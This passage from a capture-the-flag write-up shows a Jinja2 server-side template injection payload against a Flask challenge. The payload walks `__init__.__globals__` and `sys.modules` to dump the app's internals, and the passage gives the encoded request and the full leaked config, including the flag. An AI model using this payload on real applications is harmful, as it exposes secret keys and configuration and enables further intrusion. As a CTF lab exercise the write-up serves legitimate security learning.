Although you might not be able to list app, but it do have a `__init__` child, then we can use
`{{app.__init__.__globals__.sys.modules.app.app.__dict__}}`
to list all of the original properties

This was the response from `http://shrine.chal.ctf.westerns.tokyo/shrine/%7B%7Bapp.__init__.__globals__.sys.modules.app.app.__dict__%7D%7D`
```
{'import_name': 'app', 'template_folder': 'templates', 'root_path': '/srv/shrine', '_static_folder': 'static', '_static_url_path': None, 'instance_path': '/srv/shrine/instance', 'config': <Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(seconds=43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'FLAG': 'TWCTF{pray_f0r_sacred_jinja2}'}>, 'view_functions': {'static': <bound method _PackageBoundObject.send_static_file of <Flask 'app'>>, 'index': <function index at 0x7fdc27641d90>, 'shrine': <function shrine at 0x7fdc2345e158>}, 'error_handler_spec': {None: {}}, 'url_build_error_handlers': [], 'before_request_funcs': {}, 'before_first_request_funcs': [], 'after_request_funcs': {}, 'teardown_request_funcs': {}, 'teardown_appcontext_funcs': [], 'url_value_preprocessors': {}, 'url_default_functions': {}, 'template_context_processors': {None: [<function _default_template_ctx_processor at 0x7fdc2344ed08>]}, 'shell_context_processors': [], 'blueprints': {}, '_blueprint_order': [], 'extensions': {}, 'url_map': Map([<Rule '/' (GET, HEAD, OPTIONS) -> index>, <Rule '/static/<filename>' (GET, HEAD, OPTIONS) -> static>, <Rule '/shrine/<shrine>' (GET, HEAD, OPTIONS) -> shrine>]), 'subdomain_matching': False, '_got_first_request': True, '_before_request_lock': <unlocked _thread.lock object at 0x7fdc276720d0>, 'name': 'app', 'cli': <flask.cli.AppGroup object at 0x7fdc2766cda0>, 'jinja_env': <flask.templating.Environment object at 0x7fdc26b37d30>, 'logger': <Logger flask.app (WARNING)>, 'jinja_loader': <jinja2.loaders.FileSystemLoader object at 0x7fdc22cd2438>}
```